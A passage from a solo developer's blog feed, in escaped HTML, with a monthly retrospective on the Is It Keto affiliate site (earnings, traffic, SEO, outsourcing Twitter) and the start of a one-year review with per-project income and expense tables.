 &lt;th>December 2018&lt;/th>
 &lt;th>January 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Total Earnings&lt;/td>
 &lt;td>$1.20&lt;/td>
 &lt;td>$23.37&lt;/td>
 &lt;td>&lt;font color="green">+$22.17 (+1,848%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Clicks&lt;/td>
 &lt;td>13&lt;/td>
 &lt;td>73&lt;/td>
 &lt;td>&lt;font color="green">+60 (+461%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Conversion&lt;/td>
 &lt;td>7.69%&lt;/td>
 &lt;td>23.29%&lt;/td>
 &lt;td>&lt;font color="green">+15.6 (+202%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Revenues and clicks increased, but my experience with Amazon is that it&amp;rsquo;s bursty and high-variance. 80% of my revenue came from a single order, so it&amp;rsquo;s unclear if I&amp;rsquo;m at the high or low end of variance for the month.&lt;/p>
&lt;h3 id="visitor-stats">Visitor Stats&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/02/ga-2019-01-trailing-12.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/02/ga-2019-01-trailing-12_hu_ddf74188a32fa003.jpg 300w, https://mtlynch.io/retrospectives/2019/02/ga-2019-01-trailing-12_hu_c27d62c8bca5cf2f.jpg 600w, https://mtlynch.io/retrospectives/2019/02/ga-2019-01-trailing-12_hu_2af36e834c3b8356.jpg 800w, https://mtlynch.io/retrospectives/2019/02/ga-2019-01-trailing-12.jpg 800w'
 src="https://mtlynch.io/retrospectives/2019/02/ga-2019-01-trailing-12.jpg" alt="Google Analytics - Jan. 2019" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>User sessions - February 2018 through January 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2018&lt;/th>
 &lt;th>January 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>1,100&lt;/td>
 &lt;td>2,608&lt;/td>
 &lt;td>&lt;font color="green">+1,508 (+137%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>2,938&lt;/td>
 &lt;td>7,614&lt;/td>
 &lt;td>&lt;font color="green">+4,676 (+159%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Referrals from organic search&lt;/td>
 &lt;td>641&lt;/td>
 &lt;td>2,054&lt;/td>
 &lt;td>&lt;font color="green">+1,413 (+220%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Referrals from Facebook&lt;/td>
 &lt;td>61&lt;/td>
 &lt;td>210&lt;/td>
 &lt;td>&lt;font color="green">+149 (+244%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Referrals from Twitter&lt;/td>
 &lt;td>65&lt;/td>
 &lt;td>374&lt;/td>
 &lt;td>&lt;font color="green">+309 (+475%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>There was a huge jump in visitors this month, but it&amp;rsquo;s unclear how much is actually due to anything I did. It&amp;rsquo;s a site about a popular diet, so traffic increases dramatically in January with diet-related new year&amp;rsquo;s resolutions.&lt;/p>
&lt;p>One big takeaway is that organic search dominates my traffic. While I&amp;rsquo;m pleased with my Twitter growth, it represents only 14% of the site&amp;rsquo;s traffic, whereas search accounts for 79% of users (up from 58% in December).&lt;/p>
&lt;h3 id="seo-stats">SEO Stats&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/02/google-search-console.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/02/google-search-console_hu_c7ad69ea4aec855e.jpg 300w, https://mtlynch.io/retrospectives/2019/02/google-search-console_hu_506360c7dd71eed7.jpg 600w, https://mtlynch.io/retrospectives/2019/02/google-search-console_hu_8ae72612304b0d8b.jpg 800w, https://mtlynch.io/retrospectives/2019/02/google-search-console.jpg 800w'
 src="https://mtlynch.io/retrospectives/2019/02/google-search-console.jpg" alt="Google Search Console screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Google Search Console - January, 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2018&lt;/th>
 &lt;th>January 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Google-indexed pages&lt;/td>
 &lt;td>14&lt;/td>
 &lt;td>49&lt;/td>
 &lt;td>&lt;font color="green">+35 (+250%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Google indexed vs. excluded pages&lt;/td>
 &lt;td>24.1%&lt;/td>
 &lt;td>72.1%&lt;/td>
 &lt;td>&lt;font color="green">+48 (+199%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>9&lt;/td>
 &lt;td>9&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Linking Domains (Moz)&lt;/td>
 &lt;td>10&lt;/td>
 &lt;td>9&lt;/td>
 &lt;td>&lt;font color="red">-1 (-10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>17&lt;/td>
 &lt;td>27&lt;/td>
 &lt;td>&lt;font color="green">+10 (+59%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Not many external pages link to Is It Keto or its sub-pages, so Google still considers several of the site&amp;rsquo;s pages to be irrelevant, but it&amp;rsquo;s fortunately increasing the proportion that it considers relevant. Oddly, it still claims that there are only 117 pages, even though it did a crawl of the &lt;a href="https://isitketo.org/sitemap.xml">sitemap&lt;/a> on Feb. 1, when there were 132 pages.&lt;/p>
&lt;h3 id="finances">Finances&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>Amount&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Amazon Affiliate revenue&lt;/td>
 &lt;td>$23&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Content writers&lt;/td>
 &lt;td>-$1,072&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Twitter manager&lt;/td>
 &lt;td>-$65&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$1,114&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Oof, I&amp;rsquo;m taking a hard hit on the cost of content writers. The problem is that it&amp;rsquo;s mentally draining to write well, so I can&amp;rsquo;t write articles and develop the technical parts of the site at the same time.&lt;/p>
&lt;p>When I created the site, I expected to be able to get costs down to $5-10 per article, but in reality it&amp;rsquo;s costing me about $65 per article. On top of that, I&amp;rsquo;m still spending a lot of mental energy on editing. Overall costs are even higher than $65/article because I&amp;rsquo;ve hired several writers on a trial basis, but they turned in work that was unusable.&lt;/p>
&lt;h2 id="my-twitter-revelation">My Twitter Revelation&lt;/h2>
&lt;p>My biggest flash of insight this month was that people will follow Is It Keto on Twitter just to see which new foods we&amp;rsquo;re writing about.&lt;/p>
&lt;p>It sounds obvious because that&amp;rsquo;s how almost every business uses Twitter. But I was locked in a narrow view because I had previously found almost all of my users in keto Facebook groups where just posting arbitrary articles would be considered spam. Instead, I had to search around for people asking whether a food is keto and I&amp;rsquo;d respond by linking them to Is It Keto (or, more commonly, quickly writing the article and then sharing the link).&lt;/p>
&lt;p>But on Twitter, users will follow Is It Keto just to see what new foods I post. That opens up a whole world of possibility because I can guide users toward more profitable pages. For example, &lt;a href="https://isitketo.org/lettuce">lettuce is keto&lt;/a> but Is It Keto can&amp;rsquo;t show a relevant affiliate link on that page because nobody buys their lettuce from Amazon (except for &lt;a href="https://smile.amazon.com/ICEBERG-LETTUCE-Neighborhood-Corner-Store/dp/B008CQOYX8/">a few dissatisfied customers&lt;/a>). So even if I can answer someone&amp;rsquo;s question about lettuce by linking them to Is It Keto, they&amp;rsquo;d have to visit the lettuce page, then visit &lt;em>another&lt;/em> page that has an affiliate link, &lt;em>then&lt;/em> click the affiliate link, &lt;em>then&lt;/em> buy something. It&amp;rsquo;s too long and tenuous a chain. Now Is It Keto mostly tweets to share analysis of keto-friendly products that users can buy through Amazon.&lt;/p>
&lt;p>What&amp;rsquo;s more, if a product is keto-friendly and I @mention the brand in my tweet, that company often amplifies it by retweeting or liking it. One of the biggest tweets of the month was this one about Sparkling Ice, which the company retweeted to their 38,000 followers:&lt;/p>
&lt;blockquote class="twitter-tweet" data-lang="en">&lt;p lang="en" dir="ltr">Drinks by &lt;a href="https://twitter.com/SparklingIce?ref_src=twsrc%5Etfw">@SparklingIce&lt;/a> contain no sugars or carbs, but are they keto-friendly? &lt;a href="https://twitter.com/hashtag/keto?src=hash&amp;amp;ref_src=twsrc%5Etfw">#keto&lt;/a> &lt;a href="https://t.co/xdC9f2dpO0">https://t.co/xdC9f2dpO0&lt;/a> &lt;a href="https://t.co/ZfkZsG8ue9">pic.twitter.com/ZfkZsG8ue9&lt;/a>&lt;/p>&amp;mdash; Is It Keto? (@HeyIsItKeto) &lt;a href="https://twitter.com/HeyIsItKeto/status/1087772703791202306?ref_src=twsrc%5Etfw">January 22, 2019&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8">&lt;/script>
&lt;h2 id="outsourcing-twitter">Outsourcing Twitter&lt;/h2>
&lt;p>Once I realized that people would engage with Is It Keto&amp;rsquo;s tweets, I needed followers. And for that, people needed to notice the account.&lt;/p>
&lt;p>I did the normal Twitter thing and followed people who were following other keto Twitter accounts and engaged in discussions with the &lt;code>#keto&lt;/code> hashtag. The discussions weren&amp;rsquo;t very in-depth because most people are just sharing weight-loss progress or pictures of food, so I&amp;rsquo;d respond with some positive encouragement.&lt;/p>
&lt;blockquote class="twitter-tweet" data-lang="en">&lt;p lang="en" dir="ltr">Congratulations, Josh! That’s awesome progress&lt;/p>&amp;mdash; Is It Keto? (@HeyIsItKeto) &lt;a href="https://twitter.com/HeyIsItKeto/status/1093207465389363200?ref_src=twsrc%5Etfw">February 6, 2019&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8">&lt;/script>
&lt;p>I soon realized that all the stuff I was doing was pretty easy, so I wrote a guide that just described exactly what I was doing to find followers (i.e., searching for the hashtag, complimenting people on their progress).&lt;/p>
&lt;p>I posted the job on Upwork and, within a day, found someone who took it over for $4/hr. There were some mistakes at first, but now it&amp;rsquo;s on auto-pilot. The Twitter contractor attracts about 35 followers per week for a cost of only $30-35 in weekly billing.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Successfully outsourced Twitter management
&lt;ul>
&lt;li>Gained 210 Twitter followers and 374 clicks&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Published 56 new food pages&lt;/li>
&lt;li>Tweaked the design of the homepage so that it exposes more fresh content&lt;/li>
&lt;li>Added automation to reduce my manual effort in uploading images for foods&lt;/li>
&lt;li>Wrote a tool to parse the logs so that I can get more insight into user behavior
&lt;ul>
&lt;li>e.g., Do users tend to leave after hitting a 404? What does it look like when a single user visits many pages?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Organic search is outperforming everything else by orders of magnitude, so I should focus my efforts there.&lt;/li>
&lt;li>People find Is It Keto relevant even when they don&amp;rsquo;t have a particular question in mind about whether a food is keto.
&lt;ul>
&lt;li>This means that I can use standard techniques on Twitter to share content and outsource parts of that process.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>It&amp;rsquo;s prohibitively expensive to train writers.
&lt;ul>
&lt;li>If a writer can&amp;rsquo;t produce content that&amp;rsquo;s very close to what you want by the second or third try, they likely will not be able to get there without months of instruction and feedback.&lt;/li>
&lt;li>It&amp;rsquo;s better to hold out for someone who can quickly learn to write what you want than to burn time trying to train someone who&amp;rsquo;s below expectations.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Achieve $60 in revenue&lt;/li>
&lt;li>Add 30 new pages for different foods&lt;/li>
&lt;li>Reduce average cost per article&lt;/li>
&lt;/ul></content:encoded></item><item><title>My First Year as a Solo Developer</title><link>https://mtlynch.io/bootstrapped-founder-year-1/</link><pubDate>Fri, 01 Feb 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/bootstrapped-founder-year-1/</guid><description>&lt;div class="img" style="max-width: 1000px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1000px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-1/cover_hu_1c2edbce4285222b.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-1/cover_hu_42ffd4840c3b2d77.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-1/cover_hu_6410f222447c4e5d.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-1/cover.jpg 1024w'
 src="https://mtlynch.io/bootstrapped-founder-year-1/cover.jpg" alt="My first year as a solo developer (cover image)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>On February 1st, 2018, I &lt;a href="https://mtlynch.io/why-i-quit-google">quit my job&lt;/a> as a software engineer at Google to start my own single-person software company. It&amp;rsquo;s exactly one year later, so it feels like an apt time to reflect on how that decision affected my finances, lifestyle, and happiness.&lt;/p>
&lt;h2 id="how-i-made-and-spent-money">How I made and spent money&lt;/h2>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 793px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/bench-2018.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 793px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-1/bench-2018_hu_11bf380533172833.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-1/bench-2018_hu_b8b074b96b2daf10.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-1/bench-2018.jpg 798w'
 src="https://mtlynch.io/bootstrapped-founder-year-1/bench-2018.jpg" alt="Profit and loss for 2018" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Profit and loss chart via &lt;a href="https://bench.co/">Bench&lt;/a>.&lt;/p></description><content:encoded>












 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1000px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1000px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-1/cover_hu_1c2edbce4285222b.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-1/cover_hu_42ffd4840c3b2d77.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-1/cover_hu_6410f222447c4e5d.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-1/cover.jpg 1024w'
 src="https://mtlynch.io/bootstrapped-founder-year-1/cover.jpg" alt="My first year as a solo developer (cover image)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>On February 1st, 2018, I &lt;a href="https://mtlynch.io/why-i-quit-google">quit my job&lt;/a> as a software engineer at Google to start my own single-person software company. It&amp;rsquo;s exactly one year later, so it feels like an apt time to reflect on how that decision affected my finances, lifestyle, and happiness.&lt;/p>
&lt;h2 id="how-i-made-and-spent-money">How I made and spent money&lt;/h2>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 793px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/bench-2018.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 793px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-1/bench-2018_hu_11bf380533172833.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-1/bench-2018_hu_b8b074b96b2daf10.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-1/bench-2018.jpg 798w'
 src="https://mtlynch.io/bootstrapped-founder-year-1/bench-2018.jpg" alt="Profit and loss for 2018" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Profit and loss chart via &lt;a href="https://bench.co/">Bench&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>One way of looking at the chart is that I lost $21k in a single year. Alternate interpretation: I &lt;em>grew profits&lt;/em> by almost $1k each month! If this trend continues, I should be fabulously wealthy quite soon.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 793px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/2019-projected.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 793px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-1/2019-projected_hu_e5e530ebb121b73.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-1/2019-projected_hu_86708da3d5c9b0d4.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-1/2019-projected_hu_32655c7f1f298651.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-1/2019-projected_hu_2a3ba9f3466ab4a8.jpg 1200w, https://mtlynch.io/bootstrapped-founder-year-1/2019-projected.jpg 1200w'
 src="https://mtlynch.io/bootstrapped-founder-year-1/2019-projected.jpg" alt="Projected earnings for 2019" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Profit and loss through 2019, projected&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Okay, that&amp;rsquo;s a bit of a fanciful interpretation. The reason that my profits increased (i.e., remained negative, but decreased in magnitude) was that I reduced spending.&lt;/p>
&lt;h2 id="costly-lessons-in-outsourcing">Costly lessons in outsourcing&lt;/h2>
&lt;p>At first, I had a very &lt;a href="https://smile.amazon.com/4-Hour-Workweek-Escape-Live-Anywhere/dp/0307465357/">&lt;em>Four Hour Work Week&lt;/em>&lt;/a> mentality: my job was not to &lt;em>do&lt;/em> work but rather to &lt;em>manage&lt;/em> work, so I hired freelancers to do everything.&lt;/p>
&lt;p>Two problems quickly arose:&lt;/p>
&lt;ul>
&lt;li>It takes weeks or months until outsourcing saves time.
&lt;ul>
&lt;li>There are upfront costs to specify a task, hire a freelancer, train them, etc.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Outsourcing requires careful coordination.
&lt;ul>
&lt;li>If managing work requires only 20% as much time as doing it directly, I should be able to manage five freelancers in a full work week, right? But, what if all of them submit their work on the same day? It&amp;rsquo;s impossible to review everything at the same time, and the freelancers don&amp;rsquo;t want to sit idle for a week until I catch up.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>In my struggle to give everything proper attention, there was a decline in the quality of work I accepted, and sometimes I had to throw things out entirely because of my poor planning.&lt;/p>
&lt;p>To address this, I reduced my outsourcing and handled more work myself. This change decreased my spending and made my business feel less chaotic. There was also a significant change in my personal life that affected my finances, but I&amp;rsquo;ll cover that a bit later in this post.&lt;/p>
&lt;h2 id="project-by-project">Project by project&lt;/h2>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/project-finances-2018.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-1/project-finances-2018_hu_9e40ef0332093266.png 300w, https://mtlynch.io/bootstrapped-founder-year-1/project-finances-2018_hu_5b69e47aebd22e4b.png 600w, https://mtlynch.io/bootstrapped-founder-year-1/project-finances-2018_hu_4a89902fafa88415.png 800w, https://mtlynch.io/bootstrapped-founder-year-1/project-finances-2018.png 802w'
 src="https://mtlynch.io/bootstrapped-founder-year-1/project-finances-2018.png" alt="Graph of income and expenses on a per-project basis" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Income and expenses for each of my projects in 2018&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="mtlynchio-this-blog">mtlynch.io &lt;em>(this blog)&lt;/em>&lt;/h3>
&lt;p>My most significant source of revenue in 2018 was this blog. I deliberately avoid monetizing it because I don&amp;rsquo;t want ad money to influence my writing. The sole exception is that if the blog links to a product, I use an affiliate link so that the site earns referral money.&lt;/p>
&lt;p>Despite my best efforts, the blog earned more than all of my other projects combined. It had its biggest revenue year, realizing $1.2k in affiliate payments. That was the result of 981k pageviews, which most professional bloggers probably consider laughably under-monetized.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>Amount&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Affiliate revenue&lt;/td>
 &lt;td>$1,244&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Development*&lt;/td>
 &lt;td>-$3,896&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/">Illustrations&lt;/a>&lt;/td>
 &lt;td>-$599&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/editor/">Editing&lt;/a>&lt;/td>
 &lt;td>-$75&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://grammarly.com">Grammarly&lt;/a> (Grammar and style checking service)&lt;/td>
 &lt;td>-$140&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting&lt;/td>
 &lt;td>-$309&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain&lt;/td>
 &lt;td>-$60&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$3,835&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* I work with an &lt;a href="https://web.archive.org/web/20190205122131/https://www.andrewwnewhouse.com/">excellent developer&lt;/a> who handles all the coding and web design so that I can just write.&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/isitketo-screenshot.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-1/isitketo-screenshot_hu_d25b22e0683ec389.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-1/isitketo-screenshot_hu_e8790225d4dd1d6d.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-1/isitketo-screenshot_hu_989dc57390aafd05.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-1/isitketo-screenshot.jpg 977w'
 src="https://mtlynch.io/bootstrapped-founder-year-1/isitketo-screenshot.jpg" alt="Screenshot of Is It Keto website" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Is It Keto is my current focus. It gives readers clear, simple answers about which foods are compatible with &lt;a href="https://en.wikipedia.org/wiki/Ketogenic_diet">the keto diet&lt;/a>. If the food is keto-friendly, the site displays a purchase link and receives commission from any sales.&lt;/p>
&lt;p>Revenues are small because I just added monetization at the end of November, but I&amp;rsquo;m hopeful that they will increase rapidly.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>Amount&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Affiliate revenue&lt;/td>
 &lt;td>$1.20&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Development&lt;/td>
 &lt;td>-$1,660&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Logo Design&lt;/td>
 &lt;td>-$211&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting&lt;/td>
 &lt;td>-$0*&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain&lt;/td>
 &lt;td>-$12&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$1,882&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* Is It Keto runs on AppEngine, and traffic is currently low enough to fit into their free tier.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/zestful-screenshot.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-1/zestful-screenshot_hu_7d8f95742e7863ba.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-1/zestful-screenshot_hu_2b58e740ce45606d.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-1/zestful-screenshot_hu_2531fd20197cf37.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-1/zestful-screenshot.jpg 996w'
 src="https://mtlynch.io/bootstrapped-founder-year-1/zestful-screenshot.jpg" alt="Screenshot of Zestful website" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Zestful was my first attempt at software-as-a-service (SaaS). It allows developers to infer structure from recipe ingredients programmatically. Given an ingredient like &lt;code>&amp;quot;1.5 cups finely chopped red onions&amp;quot;&lt;/code>, Zestful tells the application that &lt;code>1.5&lt;/code> is the quantity, &lt;code>cups&lt;/code> is the unit of measure, &lt;code>red onions&lt;/code> are the product, and &lt;code>finely chopped&lt;/code> is a preparation step.&lt;/p>
&lt;p>I put the project in maintenance mode in September after several months of &lt;a href="https://mtlynch.io/shipping-too-late/">unsuccessful sales attempts&lt;/a>. Interestingly, several people have reached out to me in the past few months with plans to use it on their side projects, so maybe it will come back to life in 2019.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>Amount&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Client payments&lt;/td>
 &lt;td>$0*&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Development&lt;/td>
 &lt;td>-$7,440&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Logo design&lt;/td>
 &lt;td>-$200&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting&lt;/td>
 &lt;td>-$164&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domains&lt;/td>
 &lt;td>-$50&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$7,854&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* It &lt;em>technically&lt;/em> earned about $1, but my payment processor won&amp;rsquo;t pay out balances under $2.&lt;/p>
&lt;h3 id="space-duck">&lt;a href="https://spaceduck.io">Space Duck&lt;/a>&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/spaceduck-screenshot.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-1/spaceduck-screenshot_hu_398fd04691eef56.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-1/spaceduck-screenshot_hu_e9d0f9ea4c42505f.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-1/spaceduck-screenshot_hu_24cbdfc514d6c282.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-1/spaceduck-screenshot.jpg 1116w'
 src="https://mtlynch.io/bootstrapped-founder-year-1/spaceduck-screenshot.jpg" alt="Screenshot of Space Duck website" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Space Duck was my exploratory quest to build something on top of Sia, &lt;a href="https://mtlynch.io/tags/sia">a decentralized storage technology&lt;/a>.&lt;/p>
&lt;p>After running a &lt;a href="https://blog.spaceduck.io/load-test-wrapup/">series of experiments&lt;/a>, I realized Sia &lt;a href="https://mtlynch.io/since-quitting/#failed-project-space-duck">was not yet ready&lt;/a> to support any of my business ideas, so I shelved Space Duck in April.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>Amount&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
